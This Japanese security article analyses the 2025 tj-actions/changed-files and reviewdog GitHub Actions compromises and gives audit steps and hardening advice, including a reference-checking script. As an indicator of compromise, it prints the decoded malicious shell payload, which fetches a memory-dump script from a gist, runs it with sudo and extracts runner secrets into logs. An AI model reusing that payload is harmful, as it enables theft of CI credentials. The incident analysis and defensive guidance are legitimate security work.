2025年3月、GitHub Actionsで広く使われていた tj-actions/changed-files の全タグが悪性コミットへ付け替えられ、実行したワークフローのシークレットがログに出力されました。起点は同月11日の reviewdog/action-setup@v1 の改ざんで、さらに遡ると2024年11〜12月のSpotBugsでのトークン流出に行き着きます。この記事では、GitHub Security Advisory・CISA・Palo Alto Networks Unit 42 などの一次情報をもとに、攻撃の連鎖、影響した版と時間帯、自分のリポジトリでの確認手順、そして「SHA固定でも防げなかった」入れ子参照の穴までを整理します。
まとめ:2つの侵害の要点と今やるべきこと
- tj-actions/changed-files(CVE-2025-30066):2025年3月14〜15日(UTC)、既存タグが悪性コミット
0e58ed8を指すよう書き換えられた。修正版は v46.0.1。現行は v47.0.6(2026年4月公開・immutable release)。 - reviewdog/action-setup@v1(CVE-2025-30154):2025年3月11日 18:42〜20:31(UTC)に改ざん。これを内部で呼ぶ action-shellcheck など5つのアクションも、固定方法を問わず影響した。
- 被害の実態:アドバイザリは利用リポジトリを2万3,000超としたが、Endor Labsがコード検索で特定できた範囲の調査では、ログへシークレットを出したのは218リポジトリ。その大半はジョブ終了で失効するトークンだった。
- 今から確認するなら:GitHub上のログは保持期間(既定90日・最大400日)を過ぎて消えている。ワークフロー定義のGit履歴、外部に保存したログや監査ログ、当時ジョブに渡していたシークレットの一覧から、ローテーション済みかを確認する。
- 再発防止:利用側はフルSHA固定に加え、そのアクションが内部で別アクションをタグ参照していないかまで見る。PATを外部PRの処理に渡さない。2026年3月のTrivy侵害でも入れ子参照の穴が使われた。
以下、時系列、影響範囲、確認手順、対策の順に根拠を示します。
攻撃の連鎖:SpotBugsからtj-actionsまでの時系列
Unit 42 の分析(2025年4月2日更新)によると、tj-actions の侵害は単発ではなく、3つのプロジェクトを順にたどった4か月がかりの攻撃の最終段でした。各段で盗まれたのは、いずれも書き込み権限を持つ個人アクセストークン(PAT)です。
| 日時(UTC) | 出来事 | 出典 |
|---|---|---|
| 2024-11-28 | SpotBugs側が自身のPATを登録 | Unit 42 |
| 2024-12-06 | 悪性PR経由で登録済みPATが流出 | Unit 42 |
| 2025-03-11 18:42〜20:31 | action-setupのv1タグ改ざん | GHSA-qmg3-hpqr-gqvc |
| 2025-03-14 15:10 | agentkitで書込権限付きトークン流出 | Unit 42 |
| 2025-03-14 16:57 | changed-filesの全タグ改ざん | Unit 42 |
| 2025-03-14 20:52 | StepSecurityが#2463で報告 | GitHub issue |
| 2025-03-15 06:30 | GHSA-mrrh-fwg8-r2c3公開 | GitHub Advisory DB |
| 2025-03-16 | v46.0.1公開・悪性コミット除去 | tj-actions Releases |
| 2025-03-18 | CVE-2025-30066をKEV追加 | CISA KEV |
| 2025-03-24 | CVE-2025-30154をKEV追加 | CISA KEV |
時系列表のSpotBugs側とは、ワークフローに自身のPATを登録したメンテナーを指します。そのPATが流出した悪性PRの処理経路は pull_request_target です。表中の action-setup は reviewdog/action-setup、agentkit は coinbase/agentkit、changed-files は tj-actions/changed-files の略記で、agentkitでの流出は悪性版の実行、changed-filesの全タグ改ざんは悪性コミットへの付け替えを表しています。StepSecurity の報告先は tj-actions の issue #2463 でした。GHSA-mrrh-fwg8-r2c3 は CVE-2025-30066 の公開告知で、v46.0.1 の除去対象は全タグ・ブランチにある悪性コミットです。表のKEVは CISA KEV を指します。
reviewdogからtj-actionsへ渡ったPATと侵害の経路
Unit 42 によれば、攻撃者は SpotBugs のメンテナーのPATを使って reviewdog に手を伸ばし、reviewdog/action-setup の v1 タグを、フォーク上に置いた悪性コミット f0d342d へ向けました。reviewdog 側の告知(reviewdog issue #2079)は、action-* リポジトリへ貢献した人を自動で招待して書き込み権限を与えるワークフローがあり、当時その権限を持つチームが118人に膨らんでいたことを認めています。
tj-actions/changed-files リポジトリ自身のCIは、action-setup に依存する tj-actions/eslint-changed-files アクションを使っていました。Unit 42 は、このアクションの実行で changed-files のCIランナーのシークレットが漏れ、その中にあった bot アカウント(tj-bot-actions)のPATで攻撃者がタグを書き換えたと結論づけています。
当初の標的Coinbaseのagentkitと全タグ改ざんまでの経緯
Unit 42 は、攻撃者が最初に狙ったのは Coinbase のOSS coinbase/agentkit だったとしています。agentkit は2025年3月7日に changed-files の v39 を使うワークフローを追加しており、14日15:10(UTC)に悪性版を実行して書き込み権限付きのトークンを漏らしました。Coinbase のメンテナーは同日16:37に該当ワークフローを削除し、Coinbase は「agentkit にも他の資産にも被害は無かった」と表明しています。changed-files の全タグが付け替えられたのは、そのわずか20分後の16:57でした。
影響を受けたアクションと版・時間帯:タグ参照とSHA固定の違い
2つの侵害は、影響の及び方が違います。changed-files はタグで参照していた利用者が影響を受け、reviewdog 系はSHAで固定していても影響を受けました。
| アクション | CVE | 影響した時間帯(UTC) | 修正 |
|---|---|---|---|
| tj-actions/changed-files | CVE-2025-30066 | 2025-03-14〜15 | v46.0.1 |
| reviewdog/action-setup@v1 | CVE-2025-30154 | 2025-03-11 18:42〜20:31 | 3f401fe |
| action-shellcheck | CVE-2025-30154 | 同上 | v1.29.2 |
| action-composite-template | CVE-2025-30154 | 同上 | v0.20.2 |
| action-staticcheck | CVE-2025-30154 | 同上 | v1.26.2 |
| reviewdog/action-ast-grep | CVE-2025-30154 | 同上 | v1.26.2 |
| reviewdog/action-typos | CVE-2025-30154 | 同上 | v1.17.2 |
影響一覧では、長い名称の reviewdog/action-shellcheck、reviewdog/action-composite-template、reviewdog/action-staticcheck を、それぞれ action-shellcheck、action-composite-template、action-staticcheck と略記しています。いずれも reviewdog 配下のアクションで、修正版と影響時間帯は各行の記載に対応します。
深刻度は、CVE-2025-30066・CVE-2025-30154ともNVDのCVSS v3.1基本値で8.6(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)です。完全性と可用性は「影響なし」で、機密性(シークレットの露出)だけが「高」と評価されています。改ざんの影響がシークレットの読み出しに集中した今回の挙動と一致する評価です。
CISA の告知(最終改訂2025年3月26日)は監査対象の時間帯を広めに取り、changed-files は「2025-03-12 00:00 UTC から 2025-03-15 12:00 UTC」に使ったすべての版を確認するよう求めています。社内で監査範囲を決めるときは、この広い方に合わせるのが安全です。
tj-actions/changed-files:既存タグの悪性コミットへの付け替え
tj-actions 側のアドバイザリ(GHSA-mw4p-6x4p-x5m5)は、攻撃者が複数のバージョンタグを遡って書き換え、悪性コミット 0e58ed8671d6b60d0890c21b07f8835ace038e67 を指すようにしたと説明しています。例として v1.0.0・v35.7.7-sec・v44.5.1 が挙げられていますが、@v35 や @v44 のようなメジャータグで参照していた利用者も同じく悪性コードを実行しました。GitHub Advisory Database の登録は「45.0.7 以下」です。
v46.0.1 のリリースノートは、悪性コミットを全タグ・ブランチから除去したと述べています。参照の面では、@v44 などのタグは安全な中身に戻っており、直す必要があるのは悪性コミットのSHAをそのまま書いたワークフローです。ただし、この修正で安全になる範囲は今後の実行に限られます。期間中に実行してログへ出たシークレットは、参照を直しても無効にならないため、同じリリースノートのとおり失効・ローテーションが別に必要です。
reviewdog系:外側のSHA固定でも防げなかった内部タグ参照
GHSA-qmg3-hpqr-gqvc は、action-setup@v1 を内部で使う reviewdog の各アクションについて「バージョンや固定方法に関係なく侵害された」と明記しています。利用者が reviewdog/action-shellcheck をフルSHAで固定していても、その action.yml の中が reviewdog/action-setup@v1 というタグ参照だったため、v1 の付け替えがそのまま実行時に反映されたからです。
SHA固定が守るのは、自分のワークフローに直接書いたアクションの中身だけです。固定したアクションの内側が別アクションをタグで呼んでいれば、そこから先は固定されません。reviewdog は事件後、全リポジトリの内部参照を pinact でSHA固定に切り替えています。
reviewdog/action-trivyの影響有無と内部の導入経路
reviewdog/action-trivy は、アドバイザリにもCISAの告知にも影響対象として載っていません。改ざん前の最新コミット(2025年3月7日の 5a2ff866ea9eb0e623fe85f4a5b2eea7cae508e6)の action.yml を確認すると、composite アクションとして同梱の script.sh を実行し、reviewdog 本体は install.sh を curl で取得して導入する作りでした。action-setup を経由しないため、11日の改ざんの影響経路には乗っていません。
ただし、この導入方法は reviewdog リポジトリの master ブランチ上のスクリプトを毎回取得するもので、タグ参照と同じく中身が固定されていません。reviewdog は事件後にインストールスクリプトもSHA固定へ切り替えています。
悪性コードの挙動:Runner.Workerのメモリ読み出しとログ出力
changed-files の悪性コミットは、Node.js のコード内に base64 で埋め込んだシェルスクリプトを展開して実行するものでした。issue #2464 で利用者が復号した中身は次のとおりです(IoC として掲載。参照先の gist はすでに削除されています)。
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
Linux ランナーでだけ動き、GitHub Actions のジョブを実行する Runner.Worker プロセスのメモリを Python スクリプトで吸い出して、"isSecret":true が付いた値を抜き出します。それを base64 で2回エンコードしてジョブのログへ出力していました。GitHub はログ中のシークレットを自動でマスクしますが、エンコード後の文字列は元の値と一致しないためマスクされません。
外部サーバーへ送信していない点も特徴です。持ち出し先はワークフローのログそのもので、公開リポジトリならログを誰でも読めます。StepSecurity の Harden-Runner が最初に検知したのも、ランナーからの gist.githubusercontent.com への想定外の通信でした。
被害規模:推計利用数と公開リポジトリ調査で確認された漏えい件数の違い
tj-actions のアドバイザリは影響範囲を「2万3,000超のリポジトリ」としましたが、これは利用しているリポジトリの推計です。Endor Labs の調査は、GitHub のコード検索で参照を見つけられた公開リポジトリを母集団に、期間中の実行ログを調べたものです。コード検索の制約上、デフォルトブランチ以外での参照や間接的な依存は含まれておらず、次の数字は「調査範囲内で確認できた件数」であって被害の総数ではありません。
| 段階 | 件数 |
|---|---|
| changed-files参照リポジトリ | 5,416(4,072の組織・ユーザー) |
| 期間中に該当ワークフローを実行 | 614(約11%) |
| ログにシークレットを出力(確認分) | 218 |
集計の対象期間は 2025-03-14 15:00〜2025-03-15 15:00(UTC)です。漏れたシークレットの大半はジョブ用の GitHub インストールアクセストークンで、GitHub のドキュメントによればこのトークン(GITHUB_TOKEN)はジョブ終了時か最大有効期間で失効します。一方で、DockerHub・npm・AWS の認証情報も数十件含まれていました。この種の長期有効な鍵は失効・再発行に加え、漏えい以降にその鍵で行われた操作をクラウドやレジストリの監査ログで調べる必要があります。
自分のリポジトリが影響を受けたかの確認手順:ログ消失後の調査対象
2026年10月時点で確認する場合、GitHub上の当時のログはもう残っていません。確認の中心は「どのワークフローが何を参照し、どのシークレットを渡していたか」と、GitHubの外に残っている証跡になります。
ワークフロー定義での参照の洗い出しと当時の実行記録との照合手順
次のスクリプトは、リポジトリのルートで実行すると、影響を受けたアクションの参照を一覧にし、参照方法ごとに分類します。引用符付きの uses: や行末コメントにも対応し、macOS 標準と同じ bash 3.2.57(Dockerの公式 bash:3.2 イメージ)と bash 5.2 で、タグ参照・引用符付き参照・正常なSHA・悪性SHAの各パターンが分類されることを確認しています。macOS 実機(BSD版の grep・tr)での実行は確認していません。
#!/usr/bin/env bash
# 2025年3月に侵害されたアクションの参照をワークフロー定義から洗い出す
# 対象はリポジトリ内の参照のみ。被害の確定には当時の定義と実行記録の照合が別途必要
BAD_SHA=0e58ed8671d6b60d0890c21b07f8835ace038e67
PAT='(tj-actions/changed-files|reviewdog/action-(setup|shellcheck|composite-template|staticcheck|ast-grep|typos))@'
grep -rnE "uses:.*$PAT" .github/ | while IFS= read -r line; do
val=${line#*uses:} # uses: 以降を取り出す
val=${val%%[[:space:]]#*} # 行末コメントを除く
val=$(printf '%s' "$val" | tr -d "\"' ") # 引用符と空白を除く
ref=${val##*@}
case $val in
reviewdog/*) echo "要確認(reviewdog・2025-03-11 18:42-20:31 UTCの実行が対象): $line" ;;
*) if [[ $ref == "$BAD_SHA" ]]; then echo "悪性コミットを直接参照: $line"
elif [[ $ref =~ ^[0-9a-f]{40}$ ]]; then echo "SHA固定済み: $line"
else echo "タグ参照(SHA固定へ): $line"; fi ;;
esac
done
出力は「確認すべき参照」の一覧であって、被害の有無の判定ではありません。reviewdog 系は、2025年3月11日 18:42〜20:31(UTC)にそのワークフローが実行されていたかを、changed-files は当時の参照と実行日時を、それぞれ別の記録で照合する必要があります。また、YAML のアンカーや再利用ワークフロー経由の参照は拾えないため、組織で使う共通ワークフローは個別に確認してください。
組織全体を一度に見るなら、GitHub CLI のコード検索 gh search code "tj-actions/changed-files" --owner <組織名> --json repository,path で該当リポジトリを先に絞れます。ただしコード検索はデフォルトブランチだけが対象で、2025年3月時点のファイルではなく現在のファイルを見ます。当時使っていて後から削除したワークフローは、Git の履歴(git log -S "tj-actions/changed-files" -- .github/workflows)で探してください。
GitHub上のログの保持期間と消失後に外部で確認できる実行証跡
アドバイザリが勧める確認方法は、期間中の実行ログで changed-files のステップに出た長い文字列を探し、echo 'xxx' | base64 -d | base64 -d で2回デコードしてシークレットかどうかを見るものでした。しかし GitHub Actions のログの保持期間は既定90日で、公開リポジトリは最大90日、非公開リポジトリでも最大400日です。2025年3月のログは、2026年10月の時点ではGitHub上にはどの設定でも残っていません。
実行記録(ワークフローの実行一覧)も、GitHub の changelog によれば2026年10月1日から同じ保持設定の対象になりました。影響を報告していた espressif/arduino-esp32 で gh api "repos/espressif/arduino-esp32/actions/runs?created=2025-03-14..2025-03-15" を照会すると、2026年10月1日時点で total_count は0でした。GitHub上の実行記録で「実行したか」を確かめるのは難しくなっています。
残っている可能性があるのは、GitHubの外へ出した記録です。ジョブのログをSIEMやストレージへ転送・保管していた組織は、そこで2025年3月の該当ジョブと二重base64の文字列を探せます。Enterprise の監査ログをストリーミングしていた組織なら、ワークフロー実行のイベントが、期間中に動いたジョブを特定する手掛かりです。changelog も、残したい記録は保持期間内にエクスポートやアーカイブをするよう案内しています。
ログ消失後のローテーション対象の判定:ジョブへ渡したシークレット
ログで確かめられない以上、判断は「期間中に該当ワークフローが動いた可能性があり、そのジョブにシークレットを渡していたか」で行います。ジョブ単位の GITHUB_TOKEN はジョブ終了で失効するため対象から外せますが、PAT、クラウドのアクセスキー、npm・DockerHub のトークン、SSH鍵は、渡していたならローテーション済みかの確認が必要です。CISA の告知も、見つかったシークレットは「侵害されたものとして扱い、すぐにローテーションする」よう求めています。
ローテーションの記録が残っていない組織では、2025年3月以前に発行され今も有効な長期トークンが無いかを棚卸しする方が確実です。シークレットの置き場所と漏えい経路の整理はGitHub ActionsのSecrets管理の記事にまとめています。
再発防止策:利用側のSHA固定・入れ子参照・PAT管理・通信監視
この連鎖を成立させた原因は3つあります。書き換え可能なGitタグでアクションを参照していたこと、外部PRを処理するワークフローに書き込み権限付きのPATを渡していたこと、そして固定したアクションの内側にタグ参照が残っていたことです。GitHub のセキュリティガイド(secure-use)は「フルSHAで固定することが、現時点でアクションを不変のリリースとして使う唯一の方法」と書いています。
アクションのフルSHA固定と組織ポリシーでの強制・更新時の版管理
アクションは uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6 のようにフルSHAで書き、行末コメントに版を残します。Dependabot は同じ行のコメントにある版表記も更新します。既存のワークフローを一括で書き換えるために使えるツールが pinact です。組織・リポジトリ単位でSHA固定を必須にする設定と pinact の使い方はSHA Pinningの記事で扱っています。
なお tj-actions/changed-files は、v47.0.1 以降のリリースと v47 タグが GitHub の immutable release になっています(Releases API の immutable が true)。immutable release はリリース後にタグの付け替えができない仕組みで、配布側の対策として機能します。その裏返しとして、v47 タグは公開時の v47.0.0(24d32ff)に固定されたまま動きません(2026年10月2日に gh api で確認)。@v47 と書いても最新のv47.0.6(9426d40)にはならないため、更新はフルSHAの書き換えで行います。設定方法はGitHub Immutable Releasesの記事を参照してください。
SHA固定したアクション内部の参照と外部スクリプト取得処理の確認
reviewdog の事例が示したとおり、自分のワークフローをSHA固定しても、固定したアクションの action.yml が別アクションをタグで呼んでいれば守れません。composite アクションは、action.yml の uses: 行がSHA固定かを確認し、その先のアクションも同じように一段ずつたどります。JavaScript・Docker アクションは uses: 行が無くても、実行時にスクリプトやバイナリを外部から取得していることがあるため、コード内の curl やダウンロード処理が版やハッシュで固定されているかを見ます。action-trivy が当時 master ブランチの install.sh を取得していたのは、まさにこの形です。reviewdog も告知の中で「アクションが内部で別のアクションをタグ参照していないことを確かめる」よう利用者に求めています。
内部参照を固定していないアクションは、フォークして自社で管理するか、reviewdog が勧めたようにアクションを使わずバイナリを直接導入する選択肢があります。ワークフロー定義の機械的な検査にはactionlintも併用できます。
pull_request_targetと外部PR処理時のPATの権限設計
連鎖の起点は、SpotBugs のワークフローがPATを持ったまま pull_request_target で外部からのPRを処理していたことでした。このトリガーはベースリポジトリの権限とシークレットでジョブを動かすため、PRのコードをチェックアウトして実行すると、外部の人がシークレットに触れられます。外部PRの処理には pull_request を使い、PATは使わず GITHUB_TOKEN の権限を必要最小限に絞るのが基本です。権限の設計はGitHub Actionsのpermissionsの記事で解説しています。
ランナーの外向き通信の監視:想定外のペイロード取得先による検知
今回の悪性コードは外部サーバーへの送信をしていませんが、ペイロードの取得に gist への通信が発生し、それが最初の検知につながりました。Harden-Runner のようにランナーの通信先を記録・制限する仕組みは、SHA固定をすり抜けた場合の検知手段になります。
2026年のTrivy侵害で繰り返された同じ手口と利用側・配布側の対策
2026年3月19日には、Aqua Security の Trivy で同型の侵害が起きました(GHSA-69fq-xp46-6×23 / CVE-2026-33634)。アドバイザリによると、攻撃者は奪った認証情報で aquasecurity/trivy-action の77タグのうち76を、約12時間にわたって認証情報を盗むコードへ向け、aquasecurity/setup-trivy の7タグもすべて差し替えました。
ここでも入れ子参照が穴になっています。trivy-action を2025年4月9日より前のコミットでSHA固定していた利用者は、trivy-action 自体は安全でも、その内部から呼ばれる setup-trivy の悪性タグを実行し得たとアドバイザリは説明しています。一方、immutable release で公開されていた trivy-action の 0.35.0 は付け替えを受けませんでした。
影響はアクションだけにとどまりません。GHSA-69fq-xp46-6×23 によれば、同じ3月19日に Trivy 本体の v0.69.4 のリリース成果物とイメージが悪性版として約3時間公開され、3月22日には DockerHub の v0.69.5・v0.69.6 のイメージも約10時間にわたって悪性版が出回りました。根本原因は、2026年2月下旬に始まった最初の侵害の後、3月1日の公表を受けて行った認証情報のローテーションが一斉ではなかったことで、入れ替え期間中に有効なトークンで新しい認証情報を盗まれた可能性があるとしています。アドバイザリは流出の痕跡として、組織内に tpcp-docs という名前のリポジトリが作られていないかを確認するよう求めています。CVE-2026-33634 は2026年3月26日にCISA KEVへ追加されました。
tj-actions から1年で同じ構図が再現しました。利用側にできるのはSHA固定と入れ子参照の確認で、配布側にできるのは immutable release の有効化と内部参照の固定です。どちらか片方だけでは穴が残るため、両側の対策を重ねる必要があります。Trivy 側の対応状況は、Trivyの使い方の記事で整理済みです。CIのトークンを盗んでレジストリへ悪性版を公開する同じ型は、Nx のs1ngularityや npm のShai-Huludでも繰り返されています。
ワークフローのSHA固定、PATの棚卸し、ランナーの通信監視を自社のCIへまとめて組み込みたい場合は、一創のDevOps・CI/CD導入支援で設計から支援できます。
よくある質問
tj-actions/changed-filesは今も使って大丈夫ですか?
悪性コミットはタグとブランチから除去済みで、現行の v47.0.6(2026年4月18日公開)は immutable release です。使う場合はフルSHAで固定し、行末に版をコメントで残してください。
reviewdog/action-trivyは侵害の影響を受けましたか?
影響対象のリストには入っていません。当時の action-trivy は action-setup を使わず、reviewdog 本体を install.sh で直接導入していました。影響を受けたのは action-setup@v1 と、それを内部で呼ぶ shellcheck・composite-template・staticcheck・ast-grep・typos の5つです。
SHA固定していれば被害を防げましたか?
changed-files は、悪性コミット以外のSHAで固定していれば影響を受けていません。reviewdog 系は、外側のアクションをSHA固定していても内部の action-setup@v1 がタグ参照だったため、2025年3月11日の時間帯に実行していれば影響を受けました。
v46以降に更新すれば対応は完了ですか?
更新は今後の実行を安全にするだけで、すでにログへ出たシークレットは無効になりません。期間中にジョブへ渡していたPATやクラウドの鍵がローテーション済みかを、別途確認してください。
当時のログが消えていて実行したか分からない場合はどうすればよいですか?
ワークフロー定義の Git 履歴で2025年3月時点の参照を確認し、外部へ転送・保管したログや監査ログが残っていればそこで実行の有無を照合します。それでも分からず、参照していてシークレットを渡していたなら、ローテーション対象として扱うのが安全です。